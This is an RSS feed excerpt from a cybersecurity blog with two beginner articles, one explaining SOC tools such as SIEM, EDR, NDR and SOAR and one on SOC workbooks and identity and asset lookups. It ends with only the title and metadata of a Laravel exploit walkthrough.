Management</strong>.</p><p>I know, that’s a mouthful. Let me simplify it.</p><p>Every device in your organization like your laptop, the company server, the firewall, the cloud system <strong>keeps a log</strong>. A log is basically a diary. It records everything that happens like bellow examples:</p><blockquote>“User John logged in at 9 AM”</blockquote><blockquote>“File XYZ was downloaded”</blockquote><blockquote>“Someone tried to login 50 times in 1 minute and failed”</blockquote><blockquote>“A weird IP address tried to connect to the server”</blockquote><p>Now imagine you have 500 devices. Each one is writing its own diary. <strong>That’s millions of log entries every single day.</strong> No human can manually read all of that.</p><p>This is where <strong>SIEM</strong> comes in.</p><p>SIEM is a software platform that:</p><ol><li><strong>Collects</strong> all those logs from every device</li><li><strong>Stores</strong> them in one central place</li><li><strong>Analyzes</strong> them automatically using rules</li><li><strong>Alerts</strong> analysts when something suspicious is found</li></ol><h3>How Does SIEM Work</h3><h4><strong>Step 1: Log Collection</strong></h4><p>Every device sends its logs to the SIEM. This is done using something called a <strong>log agent</strong> (a small software installed on each device) or through built-in protocols like <strong>Syslog</strong>.</p><p>Think of it like every building in the city sending a daily report to the central police station.</p><h4><strong>Step 2: Normalization</strong></h4><p>Here’s a problem, The different devices write logs in different formats. A Windows laptop logs differently than a Linux server. SIEM <strong>normalizes</strong> this and it converts all those different formats into one standard format so everything can be compared easily.</p><h4><strong>Step 3: Correlation</strong></h4><p>This is the magic part. SIEM has <strong>correlation rules,</strong> these are logic-based rules that look for patterns.</p><p>For example:</p><blockquote><em>“If the same user fails to login more than 10 times in 5 minutes → trigger an alert”</em></blockquote><blockquote><em>“If a user logs in from India and then from the USA 10 minutes later (impossible travel) → trigger an alert”</em></blockquote><blockquote><em>“If a user downloads 10GB of data at 3 AM → trigger an alert”</em></blockquote><h4><strong>Step 4: Alerting</strong></h4><p>When a rule is triggered, SIEM creates an <strong>alert</strong> and sends it to the SOC analyst’s dashboard. The analyst then investigates.</p><h4><strong>Step 5: Dashboards &amp; Reports</strong></h4><p>SIEM provides visual dashboards showing security trends, top threats, number of incidents, etc. This helps management understand the security posture.</p><h3>Real-World Example</h3><p>Imagine an employee’s account suddenly:</p><ul><li>Logs in at 2 AM (unusual time which is suspicious)</li><li>From a foreign country (unusual location)</li><li>Then downloads 5GB of confidential files (unusual activity)</li></ul><p>Each of these events alone might not trigger an alert. But SIEM’s <strong>correlation engine</strong> connects these dots and fires a high-priority alert: <em>“Possible account compromise or data exfiltration detected!”</em></p><p>The SOC analyst wakes up, investigates, and finds out does the account was hacked.</p><h3>What Should a SOC Analyst Know About SIEM?</h3><ul><li>How to <strong>write and read queries</strong> (Splunk uses SPL, Sentinel uses KQL)</li><li>How to <strong>create correlation rules</strong></li><li>How to <strong>tune alerts</strong> (reduce false positives)</li><li>How to <strong>read dashboards</strong> and identify trends</li><li>How to <strong>investigate alerts</strong> by digging into logs</li></ul><h3>2. EDR — The Watchdog on Every Device</h3><h4>What Is EDR?</h4><p><strong>EDR</strong> stands for <strong>Endpoint Detection and Response</strong>.</p><p>First what’s an <strong>endpoint</strong>? It’s any device that connects to a network:</p><ul><li>Laptops and desktops</li><li>Servers</li><li>Mobile phones</li><li>Virtual machines</li></ul><p>EDR is a security tool <strong>installed on each endpoint</strong> that watches everything happening on that device in real time.</p><p>Think of EDR like a <strong>security camera + guard dog</strong> inside every single device in your organization.</p><h3>How Is EDR Different From Antivirus?</h3><p><strong>Antivirus (Old Way)</strong></p><ul><li>Matches files against known virus signatures</li><li>Only catches known malware</li><li>Reacts <em>after</em> the infection already happened</li><li>Can&#39;t tell you what happened or how</li><li>No response capability — just detects</li></ul><p><strong>EDR (Modern Way)</strong></p><ul><li>Monitors behavior, not just file signatures</li><li>Can catch unknown and brand new threats</li><li>Detects threats in real time, while happening</li><li>Gives full investigation + timeline of events</li><li>Can isolate the device automatically with one click</li></ul><p>In short — <strong>antivirus is like a wanted poster</strong> (catches criminals whose photo you already have). <strong>EDR is like a security camera</strong> that catches suspicious behavior even from unknown criminals.</p><h3>What Does EDR Monitor?</h3><p>EDR watches nearly everything happening on a device:</p><ul><li><strong>Processes</strong> — What programs are running? Did a program spawn a suspicious child process?</li><li><strong>File changes</strong> — Was a system file modified? Was a new executable file created?</li><li><strong>Registry changes</strong> — Malware often edits the registry to survive reboots</li><li><strong>Network connections</strong> — Is this device talking to a suspicious IP address?</li><li><strong>User activity</strong> — Who logged in? What commands did they run?</li></ul><h3>How Does EDR Work</h3><h4><strong>Step 1: The Agent</strong></h4><p>A small <strong>EDR agent software</strong> is installed on every endpoint. This agent runs silently in the background.</p><h4><strong>Step 2: Data Collection</strong></h4><p>The agent constantly collects telemetry (data) about everything happening on the device and sends it to a <strong>central EDR platform</strong> (usually cloud-based).</p><h4><strong>Step 3: Behavioural Analysis</strong></h4><p>The EDR platform analyzes this data using AI and behaviour-based rules. It looks for <strong>Indicators of Attack (IoA)</strong> — suspicious patterns like:</p><ul><li>A Word document suddenly opening a command prompt (PowerShell)</li><li>A process trying to dump password hashes from memory</li><li>A file encrypting hundreds of files in minutes (ransomware behaviour)</li></ul><h4><strong>Step 4: Alert &amp; Response</strong></h4><p>When suspicious behaviour is detected:</p><ul><li>An alert is sent to the SOC analyst</li><li>The analyst can <strong>remotely investigate, </strong>look at what files were touched, what processes ran, what network connections were made</li><li>If it’s a real threat, the analyst can <strong>isolate the device</strong> with one click cutting it off from the network before the attack spreads</li></ul><h3>Real-World Example</h3><p>An employee receives a phishing email and opens a malicious PDF. The PDF runs a hidden script that tries to connect to a hacker’s server and download more malware.</p><p>Without EDR: The attack continues silently. You find out weeks later when it’s too late.</p><p>With EDR:</p><ol><li>The agent notices the PDF spawning a suspicious process → alert fired</li><li>Analyst sees the alert, opens the EDR console, and sees the full <strong>attack timeline</strong></li><li>Analyst isolates the device in seconds</li><li>Damage contained. Incident investigated.</li></ol><h3><em>Popular EDR Tools</em></h3><ul><li><strong>CrowdStrike Falcon</strong> — Industry leader, cloud-native</li><li><strong>Microsoft Defender for Endpoint</strong> — Great if you’re already on Microsoft</li><li><strong>SentinelOne</strong> — Strong AI-based detection</li><li><strong>Carbon Black</strong> — Popular in large enterprises</li></ul><h3>What Should a SOC Analyst Know About EDR?</h3><ul><li>How to <strong>navigate the EDR console</strong> and read alerts</li><li>How to do <strong>threat hunting</strong> — proactively looking for suspicious activity</li><li>How to <strong>isolate a device</strong> and collect forensic evidence</li><li>Understanding <strong>attack techniques</strong> (MITRE ATT&amp;CK framework)</li><li>How to read <strong>process trees</strong> and understand what happened</li></ul><h3>3. NDR — The Network Traffic Watchman</h3><h4>What Is NDR?</h4><p><strong>NDR</strong> stands for <strong>Network Detection and Response</strong>.</p><p>While EDR watches individual devices, <strong>NDR watches the network itself, </strong>the traffic flowing between devices, in and out of your organization.</p><p>Think of EDR as cameras inside buildings. NDR is the camera watching the <strong>roads and highways</strong> between buildings.</p><h3>Why Do We Need NDR If We Already Have EDR?</h3><p>Here’s the thing — not everything passes through an endpoint in a way EDR can see.</p><ul><li>Some devices <strong>can’t have EDR installed</strong> (smart TVs, printers, IoT devices, old systems)</li><li>Attackers use <strong>encrypted traffic</strong> to hide their activities — EDR on the endpoint might miss this</li><li>Some attacks happen purely at the <strong>network level</strong> (like scanning, man-in-the-middle attacks)</li><li>NDR catches <strong>lateral movement, </strong>when an attacker moves from one computer to another inside your network</li></ul><p><strong>EDR + NDR together = much stronger coverage.</strong></p><h3>Key Concepts in NDR</h3><p><strong>North-South Traffic</strong> This is traffic going <strong>in and out</strong> of your organization, like an employee accessing the internet, or an external user connecting to your system.</p><p><strong>East-West Traffic</strong> This is traffic <strong>within</strong> your organization — one server talking to another server. Attackers love to hide in east-west traffic because it’s often less monitored.</p><p><strong>Lateral Movement</strong> After an attacker breaks into one computer, they try to quietly move to other computers inside the network. NDR is great at spotting this.</p><p><strong>Beaconing</strong> Malware often checks in with its command server at regular intervals like a heartbeat. NDR detects these regular, automated communication patterns (called beaconing).</p><h3>How Does NDR Work?</h3><h4><strong>Step 1: Traffic Capture</strong></h4><p>NDR uses <strong>sensors</strong> or <strong>network taps</strong> placed at key points in the network (firewall, core switch, etc.) to capture copies of all network traffic.</p><h4><strong>Step 2: Traffic Analysis</strong></h4><p>The NDR platform analyzes this traffic using:</p><ul><li><strong>Machine learning</strong> to understand what “normal” looks like for your network</li><li><strong>Signature-based detection</strong> for known attack patterns</li><li><strong>Protocol analysis</strong> to spot misuse of protocols (e.g., data being hidden inside DNS traffic)</li></ul><h4><strong>Step 3: Anomaly Detection</strong></h4><p>Anything that deviates from the baseline “normal” triggers investigation. For example:</p><ul><li>A device that never talked to the internet suddenly makes connections to a server in another country</li><li>A server starts scanning all other servers on the network at 3 AM</li><li>A huge amount of data leaves through an unusual port</li></ul><h4><strong>Step 4: Alert &amp; Response</strong></h4><p>Alerts go to the SOC analyst. NDR can also automatically <strong>block connections</strong> or work with firewalls to stop suspicious traffic.</p><h4>Real-World Example</h4><p>An attacker has compromised one employee’s laptop. Now they want to move to the company’s finance server. They start scanning internal IP addresses to find the server.</p><p>Without NDR: This internal scanning goes unnoticed.</p><p>With NDR:</p><ol><li>NDR notices device A is scanning all internal IP addresses — highly unusual</li><li>Alert fires: “Possible lateral movement / internal reconnaissance”</li><li>SOC analyst investigates and confirms the compromise</li><li>Network access for that device is blocked</li></ol><h3>Popular NDR Tools</h3><ul><li><strong>Darktrace</strong> — Famous for its AI-based “immune system” approach</li><li><strong>ExtraHop</strong> — Great for detailed network analytics</li><li><strong>Vectra AI</strong> — Focuses on detecting attacker behavior patterns</li><li><strong>Cisco Stealthwatch</strong> — Popular in large enterprise environments</li></ul><h3>What Should a SOC Analyst Know About NDR?</h3><ul><li>Basic <strong>networking knowledge</strong> (TCP/IP, DNS, HTTP, ports)</li><li>How to read <strong>network flows</strong> and <strong>packet captures</strong></li><li>Understanding of common <strong>attack patterns</strong> at the network level</li><li>How to identify <strong>C2 (Command &amp; Control) traffic</strong></li><li>How to use NDR <strong>with SIEM</strong> to correlate events</li></ul><h3>4. SOAR — The Automation Engine</h3><h3>What Is SOAR?</h3><p><strong>SOAR</strong> stands for <strong>Security Orchestration, Automation, and Response</strong>.</p><p>Let me paint a picture. A busy SOC receives <strong>hundreds of alerts every single day</strong>. Many of them are repetitive like phishing emails, password spray attempts, malware detections. Analysts spend hours doing the same investigation steps over and over.</p><p>What if you could <strong>automate</strong> those repetitive tasks?</p><p>That’s exactly what SOAR does. It automates the routine response actions and orchestrates your tools to work together — so analysts can focus on the complex stuff.</p><p>Think of SOAR like a <strong>robot assistant</strong> that handles the boring, repetitive parts of incident response automatically.</p><h3>Key Concepts in SOAR</h3><h4><strong>Playbooks</strong></h4><p>A playbook is like a <strong>recipe or checklist</strong> for responding to a specific type of alert.</p><p>For example, here’s a “Phishing Email” playbook:</p><ol><li>Extract the email sender, links, and attachments</li><li>Check the links against threat intel (is this URL known malicious?)</li><li>Check the attachment hash on VirusTotal</li><li>If malicious → delete the email from all mailboxes, block the sender, create a ticket</li><li>If benign → close the alert, mark as false positive</li><li>Notify the employee who received the email</li></ol><p>Without SOAR, an analyst manually does all 6 steps. With SOAR, steps 1–5 happen <strong>automatically in seconds</strong>.</p><h4><strong>Orchestration</strong></h4><p>SOAR connects all your security tools and makes them work together. It’s like a conductor of an orchestra, each tool is a musician, and SOAR tells them all what to play and when.</p><p>SOAR integrates with:</p><ul><li>SIEM (receives alerts)</li><li>EDR (can isolate devices)</li><li>TIP (checks threat intel automatically)</li><li>Firewall (can block IPs)</li><li>Email system (can delete emails)</li><li>Ticketing system (creates incident tickets in Jira/ServiceNow)</li></ul><h4><strong>Automation</strong></h4><p>Routine tasks like “look up this IP address,” “check this hash on VirusTotal,” or “create a ticket for this alert” — SOAR does these automatically, instantly, every single time.</p><h3>How Does SOAR Work</h3><h4><strong>Step 1: Alert Ingestion</strong></h4><p>SOAR receives an alert from SIEM (or directly from EDR, email security, etc.).</p><h4><strong>Step 2: Playbook Triggered</strong></h4><p>Based on the alert type, SOAR automatically runs the matching playbook.</p><h4><strong>Step 3: Automated Investigation</strong></h4><p>SOAR automatically:</p><ul><li>Queries SIEM for related events</li><li>Checks the IP/domain/hash against threat intel</li><li>Looks up the user’s history in Active Directory</li><li>Checks if the device has had other alerts recently</li></ul><h4><strong>Step 4: Decision Point</strong></h4><p>Based on the findings, SOAR either:</p><ul><li><strong>Auto-resolves</strong> if it’s clearly a false positive</li><li><strong>Auto-responds</strong> if it’s clearly malicious (isolate device, block IP)</li><li><strong>Escalates to an analyst</strong> if it needs human judgment, with all the context already gathered</li></ul><h4><strong>Step 5: Documentation</strong></h4><p>SOAR automatically creates an incident ticket and documents every action taken — time-stamped and organized. This is gold for audit trails and compliance.</p><h3>Real-World Example</h3><p><strong>Scenario</strong>: SIEM fires an alert — “User account showing 50 failed login attempts in 5 minutes” (possible brute force attack).</p><h4><strong>Without SOAR</strong> (manual process, takes 30+ minutes):</h4><ol><li>Analyst gets the alert</li><li>Manually searches SIEM for the user’s history</li><li>Manually looks up the attacking IP</li><li>Manually checks if the IP is known malicious in threat intel tools</li><li>Manually decides if it’s a real attack</li><li>Manually blocks the IP in the firewall</li><li>Manually resets the user’s password</li><li>Manually creates a ticket documenting everything</li></ol><h4><strong>With SOAR</strong> (automated, takes 2 minutes):</h4><ol><li>Alert received → SOAR playbook triggers automatically</li><li>SOAR checks the IP against threat intel → it IS a known malicious IP</li><li>SOAR automatically blocks the IP at the firewall</li><li>SOAR forces a password reset for the affected user</li><li>SOAR creates a detailed ticket with everything documented</li><li>SOAR sends a notification to the analyst: <em>“Brute force attack detected and contained. Review ticket #4521.”</em></li></ol><p>The analyst just confirms and closes. What took 30 minutes now takes 2.</p><h3>Popular SOAR Tools</h3><ul><li><strong>Palo Alto XSOAR</strong> — Most popular, very feature-rich</li><li><strong>Splunk SOAR</strong> — Tightly integrated with Splunk SIEM</li><li><strong>IBM Resilient</strong> — Strong choice in large enterprises</li><li><strong>Shuffle</strong> — Free and open-source, great for beginners to practice</li></ul><h3>What Should a SOC Analyst Know About SOAR?</h3><ul><li>How to <strong>read and create playbooks</strong></li><li>Basic <strong>scripting/coding</strong> (Python helps a lot for custom integrations)</li><li>How SOAR <strong>integrates</strong> with SIEM, EDR, TIP, and other tools</li><li>How to <strong>tune playbooks</strong> to reduce false positives</li><li>Understanding <strong>incident response workflows</strong></li></ul><h3>Putting It All Together — A Full SOC Workflow</h3><p>Let me now walk you through a <strong>real attack scenario</strong> and show you how ALL these tools work together.</p><h3>Scenario: Ransomware Attack</h3><h4><strong>Day 0 — The Attacker Prepares</strong></h4><p>A threat group sends a phishing email to an employee with a malicious Word document.</p><h4><strong>Hour 1 — Initial Access</strong></h4><p>The employee opens the document. A hidden macro runs a PowerShell script.</p><ul><li><strong>EDR</strong> on the employee’s laptop notices: <em>“Word.exe spawned PowerShell.exe — unusual behavior”</em></li><li><strong>EDR</strong> fires an alert to SIEM: “Suspicious macro execution detected on LAPTOP-042”</li><li><strong>SIEM</strong> receives the alert and correlates it with other recent events on that device</li></ul><p><strong>Hour 1, Minute 2 — SOAR Kicks In</strong></p><ul><li><strong>SIEM</strong> triggers a high-priority alert</li><li><strong>SOAR</strong> automatically starts a playbook: “Suspicious Execution”</li><li><strong>SOAR</strong> queries <strong>TIP</strong>: “Is the IP address the PowerShell script connected to known malicious?”</li><li><strong>TIP</strong> responds: “YES that IP is a known C2 server used by RansomGroup-X”</li><li><strong>SOAR</strong> automatically isolates LAPTOP-042 via <strong>EDR</strong> — cutting it off from the network</li><li><strong>SOAR</strong> creates an incident ticket and pages the on-call analyst</li></ul><p><strong>Hour 1, Minute 5 — NDR Adds Context</strong></p><ul><li><strong>NDR</strong> had already noticed: LAPTOP-042 was making unusual outbound connections on port 443 to a foreign IP at regular intervals (beaconing)</li><li><strong>NDR</strong> alert feeds into <strong>SIEM</strong>, adding more context to the incident</li></ul><p><strong>Hour 1, Minute 10 — Analyst Investigates</strong></p><p>The SOC analyst opens the incident ticket. SOAR has already done the heavy lifting:</p><ul><li>Device identified and isolated</li><li>C2 communication blocked</li><li>Threat intel confirmed</li><li>Full timeline of events ready</li></ul><p>The analyst investigates further using <strong>EDR, </strong>checks the full process tree, finds the malicious file, confirms the scope of compromise.</p><p><strong>Hour 2 — Containment &amp; Recovery</strong></p><ul><li>Analyst confirms no other devices were infected (NDR shows no lateral movement)</li><li>Malicious IP blocked at the firewall</li><li>The phishing email deleted from all mailboxes</li><li>LAPTOP-042 reimaged and restored</li><li>A new SIEM correlation rule written to catch this specific attack pattern next time</li></ul><h3>What Should You Learn Next?</h3><p>If you’re starting your SOC journey, here’s your learning path:</p><p><strong>1. Build Your Foundations First</strong></p><ul><li>Networking basics (TCP/IP, DNS, HTTP)</li><li>Operating systems (Windows + Linux)</li><li>Basic security concepts (CIA triad, attack types)</li></ul><p><strong>2. Get Hands-On With Free Tools</strong></p><ul><li><strong>Splunk Free</strong> — practice SIEM queries at splunk.com/en_us/download.html</li><li><strong>Wazuh</strong> — free open-source SIEM + EDR combo</li><li><strong>MISP</strong> — free threat intelligence platform</li><li><strong>Shuffle</strong> — free SOAR platform</li><li><strong>TryHackMe / HackTheBox</strong> — hands-on SOC labs</li></ul><p><strong>3. Get Certified</strong></p><ul><li><strong>CompTIA Security+</strong> — great starting point</li><li><strong>CompTIA CySA+</strong> — specifically for SOC analysts</li><li><strong>Microsoft SC-200</strong> — focused on Microsoft Sentinel</li><li><strong>Splunk Core Certified User</strong> — for SIEM skills</li></ul><p><strong>4. Learn the MITRE ATT&amp;CK Framework</strong> This is a free knowledge base of attacker tactics and techniques. Every SOC analyst needs to know this. Visit: attack.mitre.org</p><h3>Final Thoughts</h3><p>The SOC is not just about tools — it’s about <strong>understanding how attackers think</strong> and using the right tools to catch them.</p><p>Here’s the mindset I want you to carry:</p><ul><li><strong>SIEM</strong> is your central view — it sees everything</li><li><strong>EDR</strong> is your device-level detail — it knows what happened on each machine</li><li><strong>NDR</strong> is your network view — it sees how devices communicate</li><li><strong>TIP</strong> is your knowledge base — it tells you WHO is attacking and HOW</li><li><strong>SOAR</strong> is your force multiplier — it makes you 10x faster</li></ul><p>None of these tools work alone. They <strong>talk to each other</strong>, share data, and together form a powerful security system.</p><p>As a beginner, you don’t need to master all of them at once. <strong>Start with SIEM</strong>. Get comfortable with logs and alerts. Then explore EDR. Build up from there.</p><p>The most important thing? <strong>Hands-on practice.</strong> Reading about these tools is step one. Actually using them even in a lab environment, is where real learning happens.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e442252beef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Workbooks Explained: A Beginner’s Guide to Thinking Like a Security Analyst]]></title>
            <link>https://medium.com/@manohar017manu/soc-workbooks-explained-a-beginners-guide-to-thinking-like-a-security-analyst-c092994cd629?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/c092994cd629</guid>
            <category><![CDATA[security-threat-analysis]]></category>
            <category><![CDATA[soc-workbook]]></category>
            <category><![CDATA[soc-l1-workbook]]></category>
            <category><![CDATA[soc-workbook-and-lookups]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 17:43:32 GMT</pubDate>
            <atom:updated>2026-06-15T17:43:32.966Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOGdhZFsbFIblIe-1roaXw.png" /></figure><p><em>If you’re just starting out in cybersecurity or SOC (Security Operations Center), this guide is for you.</em></p><h3>Before We Start, What Even Is a SOC?</h3><p>A <strong>SOC</strong> (Security Operations Center) is basically the security team of a company. Their job is to watch for cyber threats 24/7, investigate suspicious activity, and stop attacks before they cause damage.</p><p>Inside a SOC, there are analysts at different levels:</p><ul><li><strong>L1 (Level 1) : </strong>Junior analysts. They handle the first look at alerts.</li><li><strong>L2 (Level 2) : </strong>More experienced. They take over complex cases from L1.</li><li><strong>L3 (Level 3)</strong> : Senior experts. They handle the hardest cases and build the tools L1 uses.</li></ul><p>Now, L1 analysts deal with <em>a lot</em> of alerts every day. They can’t always figure out on their own what to do with every suspicious event. So, senior analysts create something to help them which is called a <strong>workbook</strong>.</p><h3>What Is a SOC Workbook?</h3><blockquote><em>A SOC workbook is like a recipe card for handling a security alert.</em></blockquote><p>Imagine you’re a new chef in a kitchen. The head chef doesn’t expect you to invent a dish from scratch. Instead, they hand you a recipe, step-by-step instructions. You follow it, and the dish turns out right every time.</p><p>A <strong>SOC workbook</strong> works exactly the same way.</p><p>It’s a <strong>structured document</strong> that tells an analyst:</p><ul><li>What kind of threat this is</li><li>What steps to follow to investigate it</li><li>What data to collect</li><li>When to escalate to L2</li><li>How to wrap up the investigation</li></ul><p>You’ll also hear it called a <strong>playbook</strong>, <strong>runbook</strong>, or <strong>workflow, </strong>they all mean roughly the same thing.</p><h3>Why Do We Even Need Workbooks?</h3><p>Say two L1 analysts both get the same “suspicious login” alert. One analyst checks the IP address and closes it. The other checks the IP, the user’s location, the time of login, checks threat intel, contacts the user, and documents everything.</p><p>Which one did a better job? Obviously the second one.</p><p>But here’s the problem, <strong>without a workbook, this difference is just based on individual experience</strong>. Senior analysts can’t be everywhere at once. So they write workbooks to give everyone the same level of guidance.</p><p>Here’s what happens when companies skip workbooks:</p><ul><li><strong>Inconsistent responses</strong> : every analyst handles the same alert differently</li><li><strong>Slower reaction time</strong> : analysts waste time figuring out what to do next</li><li><strong>Repeated mistakes: </strong>without documented lessons, the same errors happen again and again</li></ul><h3>A Real Example: Suspicious Login Alert</h3><p>Let me walk you through how a workbook works in practice.</p><p>Imagine an alert pops up: <em>“User logged in from an unusual location.”</em></p><p>The workbook for this alert would tell the L1 analyst to follow these steps:</p><h4>Step 1 : Enrichment</h4><p><em>Use Threat Intelligence and identity inventory to get information about the affected user.</em></p><p>This means: look up who this user is. Are they an employee? What’s their role? What country are they normally in? Is the IP address they logged in from flagged as malicious anywhere?</p><h4>Step 2 : Investigation</h4><p><em>Using the gathered data and SIEM logs, make your verdict if the login is expected.</em></p><p>Now you compare what you found with what the logs say. Did this user travel recently? Did they log in at 3am from a country they’ve never been to before? Does something feel off?</p><h4>Step 3 : Escalation</h4><p><em>Escalate the alert to L2 or communicate the login with the user if necessary.</em></p><p>Based on what you found, you either:</p><ul><li>Close the alert (it’s a false alarm)</li><li>Reach out to the user (“Hey, did you log in from Berlin today?”)</li><li>Escalate to L2 if you think something serious is happening</li></ul><p>Simple. Structured. Repeatable. That’s the power of a workbook.</p><h3>What Goes Into a Workbook?</h3><p>Here’s a look at the typical structure of a workbook:</p><p><strong>1. Alert Name / Scenario</strong> What kind of alert does this workbook cover? Example: <em>Brute Force Login Attempt</em>.</p><p><strong>2. Severity Level</strong> How serious is this? Low, Medium, High, Critical?</p><p><strong>3. Investigation Steps</strong> The actual step-by-step guide the analyst follows.</p><p><strong>4. Data Sources to Check</strong> Which logs? Which tools? (SIEM, EDR, firewall logs, etc.)</p><p><strong>5. Decision Points</strong> At what point do you escalate? What makes this a true positive?</p><p><strong>6. Escalation Path</strong> Who do you contact next? L2? The user? The manager?</p><p><strong>7. Documentation Notes</strong> What to write down and where.</p><h3>How Do Companies Create Workbooks?</h3><p>Let me pull back the curtain on how these are actually built inside real companies.</p><h4>Step 1: Identify Common Use Cases</h4><p>The SOC team looks at what types of alerts come in most often like unauthorized logins, malware detections, data exfiltration, phishing clicks. Each of these gets its own workbook.</p><h4>Step 2: Define Investigation Steps</h4><p>For each alert type, senior analysts write down the exact steps based on best practices and past experience. “What did we do last time this happened? What worked?”</p><h4>Step 3: Collaborate Across Teams</h4><p>This isn’t just a SOC thing. IT teams, compliance officers, and legal teams also review the workbook to make sure the steps fit company policies.</p><h4>Step 4: Continuously Improve</h4><p>Workbooks are <em>living documents</em>. After every major incident, analysts give feedback. “This step didn’t make sense.” “We need to check this log first.” The workbook gets updated.</p><h3>How Are Workbooks Stored and Managed?</h3><p>You can’t just leave workbooks floating around in random email threads. Here’s how professional SOC teams handle them:</p><p><strong>Centralized Repository</strong> All workbooks are stored in one place,maybe a wiki, a document management system, or a knowledge base like Confluence or SharePoint. Every analyst can access them instantly.</p><p><strong>Access Control</strong> Not everyone should be able to <em>edit</em> a workbook. Role-based permissions mean only senior analysts or managers can make changes. L1 analysts can read but not rewrite.</p><p><strong>Version Control</strong> Every change is tracked. If someone accidentally breaks a workbook, you can roll back to the previous version. It’s like “undo” for documents.</p><p><strong>Training and Onboarding</strong> New analysts don’t just shadow senior people ,they study the workbooks. On day one, your training <em>is</em> the workbooks.</p><h3>Now Let’s Talk About Lookups</h3><p>Workbooks tell you <em>what to do</em>. But to investigate, you need <em>data</em>. That’s where <strong>lookups</strong> come in.</p><p>A <strong>lookup</strong> is a reference table that gives you extra context about the data in your logs.</p><p>Think of it like this: you’re reading a mystery novel and you see a name “Agent 47.” You don’t know who that is. But if you have a character list (a lookup table), you can check and see: “Oh, Agent 47 is a hitman from the assassin organization.”</p><p>In SOC terms, lookups help you answer questions like:</p><ul><li>Is this IP address known to be malicious?</li><li>Does this username belong to a real employee?</li><li>Is this server part of our internal network?</li></ul><h3>The Two Big Types of Lookups</h3><h4>1. Identity Inventory</h4><p>This is a catalogue of all the <strong>people</strong> in your organization:</p><ul><li>Employee names and usernames</li><li>Their roles (manager, developer, intern)</li><li>Their department</li><li>Their contact info</li><li>What privileges they have (can they access sensitive servers?)</li></ul><p>When an alert fires about a user, you check the identity inventory to understand <em>who</em> that person is. Is this a regular employee? Are they an admin? Do they have a reason to access that system?</p><h4>2. Asset Inventory (Asset Lookup)</h4><p>This is a list of all the <strong>machines</strong> in your organization:</p><ul><li>All servers and workstations</li><li>What OS they run</li><li>Who owns them</li><li>What they’re used for (web server? database? developer laptop?)</li></ul><p>When an alert fires about a machine, you check the asset inventory to understand what that machine is. Is it a critical server? Is it a test machine? Should it be communicating with the internet?</p><blockquote><strong><em>Quick note:</em></strong><em> Asset can mean a lot of things like software, hardware, employees. In SOC context, we mostly care about servers and workstations.</em></blockquote><h3>How Lookups Are Used in Investigations</h3><p>Let’s go back to our suspicious login example.</p><p>The alert says: <em>Login from IP 185.220.101.45 for user “john.doe”</em></p><p>Without lookups, you’re stuck. But with lookups:</p><p><strong>Check Identity Inventory</strong> You look up “john.doe”, turns out he’s a junior developer with no admin privileges. He normally logs in from the UK.</p><p><strong>Check Threat Intel Lookup</strong> You look up the IP address. it’s a known Tor exit node used by hackers.</p><p><strong>Check Asset Inventory</strong> You check what system he logged into, it’s a production database server, which a junior developer should never access.</p><p>Now you have your answer. This is suspicious. Escalate.</p><p>All of that context came from <strong>lookups</strong>. Without them, you’d just be staring at a raw IP address and a username.</p><h3>Putting It All Together</h3><p>Here’s the big picture of how everything connects:</p><pre>Alert Fires in SIEM<br>        ↓<br>L1 Analyst Opens Workbook<br>        ↓<br>Workbook Says: &quot;Enrich the alert&quot;<br>        ↓<br>Analyst Checks Lookups:<br>  → Identity Inventory (who is this user?)<br>  → Asset Inventory (what is this machine?)<br>  → Threat Intel (is this IP malicious?)<br>        ↓<br>Workbook Says: &quot;Investigate using SIEM logs&quot;<br>        ↓<br>Analyst Makes a Decision:<br>  → False positive? Close it.<br>  → Suspicious? Contact user or escalate to L2.<br>        ↓<br>Document everything. Done.</pre><h3>Key Takeaways</h3><p>Let me summarize everything you just learned:</p><ul><li>A <strong>SOC workbook</strong> is a step-by-step guide for investigating and responding to specific types of security alerts.</li><li>It helps L1 analysts investigate consistently, even without senior help.</li><li>Workbooks are built collaboratively, stored centrally, and updated regularly.</li><li><strong>Identity inventory</strong> tells you who the people in your organization are.</li><li><strong>Asset inventory</strong> tells you what machines your organization has.</li><li><strong>Lookups</strong> give you context that turns raw log data into meaningful information.</li><li>Together, workbooks + lookups = structured, consistent, effective SOC analysis.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c092994cd629" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Laravel Ignition Debug RCE (CVE-2021–3129) | Hackviser Walkthrough]]></title>
            <link>https://medium.com/@manohar017manu/exploiting-laravel-ignition-debug-rce-cve-2021-3129-hackviser-walkthrough-80c7236e8a0e?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/80c7236e8a0e</guid>
            <category><![CDATA[laravel-ignition-debug]]></category>
            <category><![CDATA[laravel-ignitiondebug-rce]]></category>
            <category><![CDATA[hackviser-soulution]]></category>
            <category><![CDATA[laravel-rce]]></category>
            <category><![CDATA[cve-2021-3129]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Sat, 23 May 2026 01:46:00 GMT</pubDate>
            <atom:updated>2026-05-23T01:46:00.801Z</atom:updated>
